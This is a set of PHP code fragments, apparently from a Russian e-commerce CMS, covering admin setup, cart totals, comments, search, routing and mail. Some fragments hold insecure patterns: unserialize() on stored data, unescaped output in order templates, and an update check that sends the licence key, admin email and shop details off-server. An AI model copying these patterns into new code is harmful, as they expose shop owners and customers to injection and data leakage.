function __construct() { MG::disableTemplate(); $model = new Models_Order(); MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80)); if ('1' == User::getThis()->role) { MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10)); } if (URL::get('csv')) { $model = new Models_Catalog(); $model->exportToCsv(); } if (URL::get('examplecsv')) { $model = new Models_Catalog(); $model->getExampleCSV(); } if (URL::get('examplecsvupdate')) { $model = new Models_Catalog(); $model->getExampleCsvUpdate(); } if (URL::get('yml')) { if (LIBXML_VERSION && extension_loaded('xmlwriter')) { $model = new YML(); if (URL::get('filename')) { if (!$model->downloadYml(URL::get('filename'))) { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл'); echo json_encode($response); } } else { $model->exportToYml(); } } else { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter'); echo json_encode($response); } } if ($orderId = URL::get('getOrderPdf')) { $model = new Models_Order(); $model->getPdfOrder($orderId); } if ($orderId = URL::get('getExportCSV')) { $model = new Models_Order(); $model->getExportCSV($orderId); } $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel()); $this->pluginsList = PM::getPluginsInfo(); $this->lang = MG::get('lang'); if (!($checkLibs = MG::libExists())) { $newVer = Updata::checkUpdata(false, true); $this->newVersion = $newVer['lastVersion']; } }
static function pageSettingsPlugin() { $lang = self::$lang; $pluginName = self::$pluginName; $option = MG::getSetting('call-backOption'); $option = stripslashes($option); $options = unserialize($option); $res = self::getEntity($options['countRows']); $config = self::getConfigPlugin(); $entity = $res['entity']; $pagination = $res['pagination']; self::prepareSettingsPage(); include 'page-settings.php'; }
function getSaleGoods() { $model = new Models_Catalog(); $saleProducts = $model->getListByUserFilter(MG::getSetting('countSaleProduct'), ' p.old_price>0 and p.activity=1 ORDER BY sort ASC'); foreach ($saleProducts['catalogItems'] as &$item) { $item["recommend"] = 0; $item["new"] = 0; $imagesUrl = explode("|", $item['image_url']); $item["image_url"] = ""; if (!empty($imagesUrl[0])) { $item["image_url"] = $imagesUrl[0]; } } return $saleProducts['catalogItems']; }
public function getComments() { $result = array(); // Если запрос был со стороны сайта выполняется первая ветка условия. Иначе - вторая. if (isset($_POST['showComments']) && isset($_POST['uri'])) { $uri = explode('/', $_POST['uri']); if (!empty($uri[1])) { unset($uri[0]); $uri = implode('/', $uri); } else { $uri = $uri[0]; } // Запрос для генерации блока пагинации $sql = "\r\n\t\t\t\tSELECT id, name, comment, date\r\n\t\t\t\tFROM `" . PREFIX . "comments` \r\n\t\t\t\tWHERE (uri = " . DB::quote($uri) . " OR uri = " . DB::quote($uri . ".html") . ") AND approved = '1'\r\n\t\t\t\tORDER BY `id` DESC"; $res = DB::query($sql); //Получаем блок пагинации if ($_POST["page"]) { $page = $_POST["page"]; } //если был произведен запрос другой страницы, то присваиваем переменной новый индекс $navigator = new Navigator($sql, $page, MG::getSetting('countPrintRowsComments')); //определяем класс $comments = $navigator->getRowsSql(); $pagination = $navigator->getPager('forAjax'); /* * Получаем непосредственно комментарии. Если была запрошена не первая страница комментариев, выполняем вторую ветку условия. */ foreach ($comments as $key => $value) { $comments[$key]['date'] = date('d.m.Y H:i', $result['comments']['date']); } $result['pagination'] = $pagination; $this->data = $result; return true; } else { $sql = "\r\n\t\t\t\tSELECT id, name, comment, date\r\n\t\t\t\tFROM `" . PREFIX . "comments`\r\n\t\t\t\tORDER BY date DESC"; $res = DB::query($sql); while ($row = DB::fetchAssoc($res)) { $result[$row['id']] = $row; } return $result; } }
/** * Проверяет на сервере актуальность текущей системы. * $noerror - не позволяет вывести исключение перед версткой * @return bool|array $result массив с описанием последней версии и ее номером. */ public static function checkUpdata($noCache = false, $noerror = false) { $timeLastUpdata = MG::getSetting('timeLastUpdata'); if (time() < $timeLastUpdata + 6 * 60 * 24 && !$noCache) { // интервал проверки обновления 2 с половиной часа. $res = MG::getSetting('currentVersion'); } else { $row = DB::query('SELECT COUNT(`id`) as `count` FROM `' . PREFIX . 'product`'); $res = DB::fetchArray($row); $count = $res['count'] ? $res['count'] : 0; $row2 = DB::query('SELECT SUM( `summ` ) AS `summ` FROM `' . PREFIX . 'order` WHERE `status_id` =2 OR `status_id` =5'); $res2 = DB::fetchArray($row2); $summ = $res2['summ'] ? $res2['summ'] : 0; $post = 'version=' . VER . '&sName=' . $_SERVER['SERVER_NAME'] . '&sIP=' . ($_SERVER['SERVER_ADDR'] == "::1" ? '127.0.0.1' : $_SERVER['SERVER_ADDR']) . '&sKey=' . MG::getSetting('licenceKey') . '&sSiteName=' . MG::getSetting('sitename') . '&sAdmin=' . MG::getSetting('adminEmail') . '&timeStartEngine=' . MG::getSetting('timeStartEngine') . '&timeFirstUpdate=' . MG::getSetting('timeFirstUpdate') . '&sPhone=' . MG::getSetting('shopPhone') . '&sAddress=' . MG::getSetting('shopAddress') . '&catalog=' . $count . '&orders=' . $summ; $res = self::sendCurl(self::$_updataServer . '/updataserver', $post); DB::query("\r\n UPDATE `" . PREFIX . "setting`\r\n SET `value`=" . DB::quote($res) . "\r\n WHERE `option`='currentVersion'\r\n "); DB::query("\r\n UPDATE `" . PREFIX . "setting`\r\n SET `value`=" . DB::quote(time()) . "\r\n WHERE `option`='timeLastUpdata'\r\n "); PM::checkPluginsUpdate(); } // если curl запрос вернул false, значит он не удался. if (!$res && !$noerror) { echo "<div style='color:red; margin:10px;'>Невозможно выполнить CURL запрос, для проверки версии системы!</div>"; } $data = json_decode($res, true); if (!empty($data['dateActivateKey'])) { MG::setOption(array('option' => 'dateActivateKey ', 'value' => $data['dateActivateKey'])); } if ($data['last']) { $result['msg'] = ' <ul class="system-version-list"> <li> <b>Ближайшая версия для обновления: </b><span id="lVer">' . $data['last'] . '</span></li> <li> <b>Последняя версия системы: </b><span id="fVer">' . $data['final'] . '</span></li> <li> <b>Описание: </b>' . $data['disc'] . '</li> </ul>'; $result['lastVersion'] = $data['last']; $args = func_get_args(); return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $result, $args); } $args = func_get_args(); return MG::createHook(__CLASS__ . "_" . __FUNCTION__, false, $args); }
function __construct() { $model = new Models_Product(); // Требуется только пересчет цены товара. if (!empty($_REQUEST['calcPrice'])) { $model->calcPrice(); exit; } $settings = MG::get('settings'); $product = $model->getProduct(URL::getQueryParametr('id')); $product['meta_title'] = $product['meta_title'] ? $product['meta_title'] : $product['title']; $product['currency'] = $settings['currency']; $blockVariants = $model->getBlockVariants($product['id']); $propertyFormData = $model->createPropertyForm($param = array('id' => $product['id'], 'maxCount' => $product['count'], 'productUserFields' => $product['thisUserFields'], 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => array(), 'noneAmount' => false, 'titleBtn' => "В корзину", 'blockVariants' => $blockVariants)); // Легкая форма без характеристик. $liteFormData = $model->createPropertyForm($param = array('id' => $product['id'], 'maxCount' => $product['count'], 'productUserFields' => null, 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => array(), 'noneAmount' => false, 'titleBtn' => "В корзину", 'blockVariants' => $blockVariants)); $product['price'] += $propertyFormData['marginPrice']; $product['propertyForm'] = $propertyFormData['html']; $product['liteFormData'] = $liteFormData['html']; $product['description'] = MG::inlineEditor(PREFIX . 'product', "description", $product['id'], $product['description']); $product['title'] = MG::modalEditor('catalog', $product['title'], 'edit', $product["id"]); $product["recommend"] = 0; $product["new"] = 0; $product['cat_title'] = $model->getTitleCat($product['cat_id']); // Случайные продукты $modelCatalog = new Models_Catalog(); $likeGoods = $modelCatalog->getRandomProduct($product['cat_id'], $product['id']); $product['like_goods'] = $likeGoods; // Информация об отсутствии товара на складе. if (MG::getSetting('printRemInfo') == "true" && $product['count'] == 0) { $product['remInfo'] = "<span class='rem-info'>Товара временно нет на складе!</style>"; } if ($product['count'] < 0) { $product['count'] = "∞"; } $this->data = $product; }
/** * Исключает XSS уязвимости для вех пользовательских данных. * Сохраняет все переданные параметры в реестр queryParams, * в дальнейшем доступный из любой точки программы. * Выявляет часть пути в ссылках, по $_SERVER['SCRIPT_NAME'], * которая не должна учитываться при выборе контролера. * Актуально когда файлы движка лежат не в корне сайта. */ private function __construct() { self::$documentRoot = str_replace(DIRECTORY_SEPARATOR . 'mg-core' . DIRECTORY_SEPARATOR . 'lib', '', dirname(__FILE__)); self::$cutPath = str_replace('/index.php', '', $_SERVER['SCRIPT_NAME']); $route = self::getLastSection(); $route = $route ? $route : 'index'; if (MG::getSetting('catalogIndex') == 'true' && $route == 'index') { $route = 'catalog'; } if ($route == 'mg-admin') { $route = 'mgadmin'; } // Заполняем QUERY_STRING переменной route. $_SERVER['QUERY_STRING'] = 'route=' . $route; $route = str_replace('.html', '', $route); // Конвертируем обращение к контролеру админки в подобающий вид. self::$route = $route; if (get_magic_quotes_gpc()) { $_REQUEST = MG::stripslashesArray($_REQUEST); $_POST = MG::stripslashesArray($_POST); $_GET = MG::stripslashesArray($_GET); } // Если данные пришли не из админки и не из плагинов а от пользователей то проверяим их на XSS. // Также исключение действует на просмотрщик страниц, // он защищен от стороннего использования в контролере, поэтому исключает опасность. if (strpos($route, 'mgadmin') === false && strpos($route, 'ajax') === false && strpos($route, 'previewer') === false || strpos($route, 'ajaxrequest') !== false) { $emulMgOff = false; if (get_magic_quotes_gpc()) { $emulMgOff = true; } $_REQUEST = MG::defenderXss($_REQUEST, $emulMgOff); $_POST = MG::defenderXss($_POST, $emulMgOff); $_GET = MG::defenderXss($_GET, $emulMgOff); } $this->queryParams = $_REQUEST; }
/** * Возвращает данные о всех продуктах в корзине. * @return array */ public function getItemsCart() { $productPositions = array(); // Создает модель для работы с продуктами. $itemPosition = new Models_Product(); $totalSumm = 0; if (!empty($_SESSION['cart'])) { $currencyRate = MG::getSetting('currencyRate'); $currencyShopIso = MG::getSetting('currencyShopIso'); $variantsId = array(); $productsId = array(); foreach ($_SESSION['cart'] as $key => $item) { if (!empty($item['variantId'])) { $variantsId[] = $item['variantId']; } $productsId[] = $item['id']; } $products_all = array(); $variants_all = array(); if (!empty($variantsId)) { $ids = implode(',', $variantsId); $variants_res = DB::query('SELECT pv.*, c.rate,(pv.price_course + pv.price_course *(IFNULL(c.rate,0))) as `price_course`, p.currency_iso FROM `' . PREFIX . 'product_variant` pv LEFT JOIN `' . PREFIX . 'product` as p ON p.id = pv.product_id LEFT JOIN `' . PREFIX . 'category` as c ON c.id = p.cat_id WHERE pv.id IN (' . trim(DB::quote($ids, true)) . ')'); while ($variant_row = DB::fetchAssoc($variants_res)) { $variants_all[$variant_row['id']] = $variant_row; } } if (!empty($productsId)) { $ids = implode(',', array_unique($productsId)); $product_res = DB::query(' SELECT CONCAT(c.parent_url,c.url) as category_url, p.url as product_url, p.*, rate, (p.price_course + p.price_course * (IFNULL(rate,0))) as `price_course`, p.`currency_iso` FROM `' . PREFIX . 'product` p LEFT JOIN `' . PREFIX . 'category` c ON c.id = p.cat_id WHERE p.id IN (' . DB::quote($ids, true) . ')'); if (!empty($product_res)) { while ($result = DB::fetchAssoc($product_res)) { $products_all[$result['id']] = $result; } } } foreach ($_SESSION['cart'] as $key => $item) { $variant = ''; if (!empty($item['variantId'])) { // $variants = $itemPosition->getVariants($item['id']); $variant = $variants_all[$item['variantId']]; } // Заполняет массив информацией о каждом продукте по id из куков. // Если куки не актуальны, пропускает товар. $product = $products_all[$item['id']]; if (!empty($product)) { $product['property'] = $_SESSION['cart'][$key]['propertySetId']; $product['property_html'] = htmlspecialchars_decode(str_replace('&', '&', $_SESSION['cart'][$key]['property'])); $product['propertySetId'] = $_SESSION['cart'][$key]['propertySetId']; if (!empty($variant)) { $product['price'] = $variant['price']; $product['code'] = $variant['code']; $product['count'] = $variant['count']; $product['weight'] = $variant['weight']; $product['image_url'] = $variant['image'] ? $variant['image'] : $product['image_url']; $product['title'] .= " " . $variant['title_variant']; $product['variantId'] = $variant['id']; $product['price_course'] = $variant['price_course']; } // если установлен формат без копеек то округлим стоимость. $priceFormat = MG::getSetting('priceFormat'); if (in_array($priceFormat, array('1234.56', '1234', '1 234', '1,234', ''))) { $price = round($product['price_course']); } else { $price = $product['price_course']; } if ($item['id'] == $product['id']) { $count = $item['count']; $price = SmalCart::plusPropertyMargin($price, $item['propertyReal'], $currencyRate[$product['currency_iso']]); // $product['currency_iso'] = $product['currency_iso']?$product['currency_iso']:$currencyShopIso; // $price *= $currencyRate[$product['currency_iso']]; $product['price'] = $price; // применение скидки по купону $priceWithCoupon = $this->applyCoupon($_SESSION['couponCode'], $product['price'], $product); $priceWithDiscoutn = $this->applyDiscountSystem($product['price']); $product['price'] = $priceWithCoupon < $priceWithDiscoutn['price'] ? $priceWithCoupon : $priceWithDiscoutn['price']; $product['priceInCart'] = MG::priceCourse($product['price'] * $count) . " " . MG::getSetting('currency'); $arrayImages = explode("|", $product['image_url']); if (!empty($arrayImages)) { $product['image_url'] = $arrayImages[0]; } } $product['category_url'] = SHORT_LINK == '1' ? '' : $product['category_url'] . '/'; $product['link'] = SITE . '/' . (isset($product["category_url"]) ? $product["category_url"] : 'catalog' . '/') . $product["product_url"]; $product['countInCart'] = $item['count']; if ($product['countInCart'] > 0) { $productPositions[] = $product; } $totalSumm += $product['price'] * $item['count']; } } } $totalSumm = MG::priceCourse($totalSumm); $result = array('items' => $productPositions, 'totalSumm' => $totalSumm); $args = func_get_args(); return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $result, $args); }
<th>Артикул</th> <th>Цена</th> <th>Количество</th> <th>Сумма</th> </tr> <?php $perOrder['currency_iso'] = $perOrder['currency_iso'] ? $perOrder['currency_iso'] : $currencyShopIso; $perCurrencyShort = MG::getSetting('currency'); $perOrders = unserialize(stripslashes($order['order_content'])); ?> <?php if (!empty($perOrders)) { foreach ($perOrders as $perOrder) { ?> <?php $perCurrencyShort = $currencyShort[$perOrder['currency_iso']] ? $currencyShort[$perOrder['currency_iso']] : MG::getSetting('currency'); $coupon = $perOrder['coupon']; ?> <tr> <td> <a href="<?php echo $perOrder['url']; ?> " target="_blank"><?php echo $perOrder['name']; ?> </a> <br/> <?php echo htmlspecialchars_decode(str_replace('&', '&', $perOrder['property']));
/** * Вывод страницы плагина в админке */ static function pagePluginComments() { $lang = PM::plugLocales('comments'); if ($_POST["page"]) { $page = $_POST["page"]; } //если был произведен запрос другой страницы, то присваиваем переменной новый индекс $countPrintRowsComments = MG::getSetting('countPrintRowsComments'); $navigator = new Navigator("SELECT * FROM `" . PREFIX . "comments` ORDER BY `id` DESC", $page, $countPrintRowsComments); //определяем класс $comments = $navigator->getRowsSql(); $pagination = $navigator->getPager('forAjax'); // подключаем view для страницы плагина include 'pagePlugin.php'; }
?> </div> <div id="bg-theme" style="display:none"><?php echo $data['themeBackground']; ?> </div> <div id="staticMenu" style="display:none"><?php echo $data['staticMenu']; ?> </div> <div id="protocol" style="display:none"><?php echo PROTOCOL; ?> </div> <div id="currency-iso" style="display:none"><?php echo MG::getSetting('currencyShopIso'); ?> </div> <div id="max-count-cart" style="display:none"><?php echo MAX_COUNT_CART; ?> </div> <div class="admin-center"> <div class="data"> <!-- Контент раздела --> </div> </div> <div class="admin-h-height"></div>
/** * Получает список продуктов при вводе в поле поиска. */ public function getSearchData() { $keyword = MG::defenderXss_decode(URL::getQueryParametr('text')); if (!empty($keyword)) { $keyword = $this->convertLang($keyword); $catalog = new Models_Catalog(); $items = $catalog->getListProductByKeyWord($keyword, true, true, false, 'groupBy'); foreach ($items['catalogItems'] as $key => $value) { $path = URL::$documentRoot . DIRECTORY_SEPARATOR . 'uploads' . DIRECTORY_SEPARATOR . 'thumbs' . DIRECTORY_SEPARATOR . '30_' . $value["image_url"]; if (!file_exists($path)) { $items['catalogItems'][$key]['noneFile'] = SITE . '/uploads/thumbs/30_' . $value['image_url']; } } $searchData = array('status' => 'success', 'item' => array('keyword' => $keyword, 'count' => $items['numRows'], 'items' => $items), 'currency' => MG::getSetting('currency')); } echo json_encode($searchData); exit; }
<td > <?php echo $assocDelivery[$order['delivery_id']]; ?> </td> <td ><span class="icon-payment-<?php echo $order['payment_id']; ?> "></span> <?php echo $assocPay[$order['payment_id']]; ?> </td> <td > <?php echo MG::numberFormat($order['summ'] * 1 + $order['delivery_cost'] * 1); ?> <?php echo MG::getSetting('currency'); ?> </td> <td class="statusId id_<?php echo $order['status_id']; ?> "> <span class="<?php echo $assocStatusClass[$order['status_id']]; ?> "> <?php echo $lang[$assocStatus[$order['status_id']]]; ?> </span> </td>
/** * Функция для отправки писем в UTF-8 * @param $dataMail - массив с данными * <code> * array( * nameFrom => имя отправителя * emailFrom => email отправителя * nameTo => имя получателя * emailTo => email получателя * dataCharset => кодировка переданных данных * sendCharset => кодировка письма * subject => тема письма * body => текст письма * html => письмо в виде html или обычного текста * addheaders => дополнительные заголовки * contentType => если нужен особенный contentType * ); * </code> * @return bool */ public static function sendMimeMail($dataMail) { $m = new Mail(); // можно сразу указать кодировку, можно ничего не указывать ($m= new Mail;) $m->From(htmlspecialchars_decode($dataMail['nameFrom']) . "||" . $dataMail['emailFrom']); // от кого Можно использовать имя, отделяется точкой с запятой if (MG::getSetting('smtp') === "true") { $m->smtp_on(MG::getSetting('smtpHost'), MG::getSetting('smtpLogin'), MG::getSetting('smtpPass'), MG::getSetting('smtpPort'), 10); // используя эу команду отправка пойдет через smtp $m->From($dataMail['nameFrom'] . "||" . MG::getSetting('smtpLogin')); } $m->ReplyTo(htmlspecialchars_decode(self::$replyTo)); // куда ответить, тоже можно указать имя $m->To($dataMail['nameTo'] . "||" . $dataMail['emailTo']); // кому, в этом поле так же разрешено указывать имя $dataMail['subject'] = htmlspecialchars_decode($dataMail['subject']); $m->Subject($dataMail['subject']); if (!empty($dataMail['html'])) { $m->Body($dataMail['body'], "html"); } else { $m->Body($dataMail['body']); } $m->Priority(4); // установка приоритета //$m->Attach( "/toto.gif", "", "image/gif" ) ; // прикрепленный файл типа image/gif. типа файла указывать не обязательно $m->log_on(true); // включаем лог, чтобы посмотреть служебную информацию $m->Send(); // отправка self::$replyTo = null; // echo "Письмо отправлено, вот исходный текст письма:<br><pre>", $m->Get(), "</pre>"; // exit(); }